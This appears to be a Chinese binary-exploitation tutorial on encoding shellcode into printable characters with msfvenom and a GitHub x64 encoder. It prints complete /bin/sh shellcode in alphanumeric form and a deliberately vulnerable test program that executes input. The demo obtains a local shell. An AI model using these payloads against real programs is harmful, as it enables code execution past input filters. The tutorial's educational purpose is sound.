生成可打印的shellcode

有时候程序会对我们的payload进行一些可打印检查,比如进行 utf-8 编码等,这时候一般的 shellcode 是无法绕过检查的,这时候就需要我们对 shellcode 进行编码。

通过对网上资料的总结,找到了两种比较好的编码方法。

x86编码

x86编码的话用msf内置的encoder就行了。

ex@Ex:~$ msfvenom -l encoders

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/xor_dynamic               normal     Dynamic key XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder

但是现在(2019-07-13)msf中还没有x64alpha_upper编码方式。

使用方法

使用msf时,可以用内置的shellcode,其命令如下:

msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax

BufferRegister指的是指向shellcode的寄存器的值

如果不声明BufferRegister的话,生成的shellcode会有额外的几条指令来确定shellcode的位置,而那几条额外的指令却并不是可打印字符。

其结果如下所示:

ex@Ex:~/test$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 155 (iteration=0)
x86/alpha_upper chosen with final size 155
Payload size: 155 bytes
Final size of python file: 750 bytes
buf =  ""
buf += "\x89\xe7\xda\xd1\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
buf += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
buf += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
buf += "\x4a\x49\x32\x4a\x44\x4b\x36\x38\x4a\x39\x56\x32\x33"
buf += "\x56\x45\x38\x56\x4d\x53\x53\x4d\x59\x4d\x37\x35\x38"
buf += "\x56\x4f\x32\x53\x52\x48\x53\x30\x55\x38\x46\x4f\x53"
buf += "\x52\x35\x39\x32\x4e\x4b\x39\x4d\x33\x36\x32\x5a\x48"
buf += "\x44\x48\x53\x30\x53\x30\x35\x50\x36\x4f\x42\x42\x42"
buf += "\x49\x52\x4e\x46\x4f\x54\x33\x35\x38\x43\x30\x31\x47"
buf += "\x36\x33\x4b\x39\x4b\x51\x58\x4d\x4d\x50\x41\x41"

第二种,我们可以用msf来编码自己写的shellcode,其命令如下:

cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax

其运行结果如下:

ex@Ex:~/test$ cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 103 (iteration=0)
x86/alpha_upper chosen with final size 103
Payload size: 103 bytes
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA

x64编码

对于x64的shellcode进行编码,Github上的 https://github.com/ecx86/shellcode_encoder 是很不错的,和msf上的工具一样,都是要确定shellcode的地址才行。

其命令如下:

python2 main.py shellcode rax+29

运行结果如下:

ex@Ex:~/test/shellcode_encoder$ hexdump -C shellcode 
00000000  48 b8 2f 62 69 6e 2f 73  68 00 50 48 89 e7 48 31  |H./bin/sh.PH..H1|
00000010  f6 48 f7 e6 b8 3b 00 00  00 0f 05                 |.H...;.....|
0000001b
ex@Ex:~/test/shellcode_encoder$ python2 main.py shellcode rax+29
Encoding stage2
488b0432 => 4863343a31343a53582d402874332d5020605f35383c2f5f505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
480faf44 => 4863343a31343a53582d713b40412d704520413557703039505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
32084889 => 4863343a31343a53582d244874202d5f606c20354f5f5736505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
043a83c7 => 4863343a31343a53582d402233402d41602020357b472f58505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
0883c610 => 4863343a31343a53582d402646612d502220413578345f4d505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
85c075e8 => 4863343a31343a53582d202022202d20407e4035455f2a77505e31343a57582d7e5b775f2d3f61682c2d3f432074505f
Multiply-encoding stage3
48b82f62696e2f73 => 413553575a25252e 483e23646d6e2b73
6800504889e74831 => 415462524c61643a 684654484b634c35
f648f7e6b83b0000 => 4163795c343a7931 7649363a204f3a3b
000f059090909090 => 3c3b77625b273220 40707d593b5c7463
Assembling jump at +408

Encoding preamble for rdx <- rax+29
PPTAYAXVI31VXXXf-cof-@Hf-@HPZ

Original length: 27
Encoded length:  476
Preamble length: 29
Total length:    505

PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A`  5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-  " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"*  -E6  5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc

举例

printable.c

// x86: gcc -m32 printable.c -o printable32
// x64: gcc printable.c -o printable64
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

int is_printable(char *s, int length)
{
    int i;

    for (i = 0; i < length; i ++)
    {
        if (s[i] <= 31 || s[i] == 127)
        {
            return 0;
        }
    }
    return 1;
}

int main()
{
    char *buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    int tail = read(0, buf, 0x1000);

    alarm(60);

    if (buf[tail - 1] == '\n')
    {
        buf[tail - 1] = '\0';
        tail--;
    }

    if (!is_printable(buf, tail))
    {
        puts("It must be a printable string!");
        exit(-1);
    }
    asm("call *%0" ::"r"(buf));
    return 0;
}

在这个程序中,正常的 shellcode 会被直接绊住,所以就可以利用上面编码过的shellcode。

其结果如下:

ex@Ex:~/test$ file printable32
printable32: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=6bbd4307de7e93dcda81bef0f16617415b14ec17, not stripped
ex@Ex:~/test$ ./printable32 
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$ exit
ex@Ex:~/test$ file printable64 
printable64: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9d51fb0464f69bae2eb982d538eaee094d5b501b, not stripped
ex@Ex:~/test$ ./printable64 
PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A`  5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-  " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"*  -E6  5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$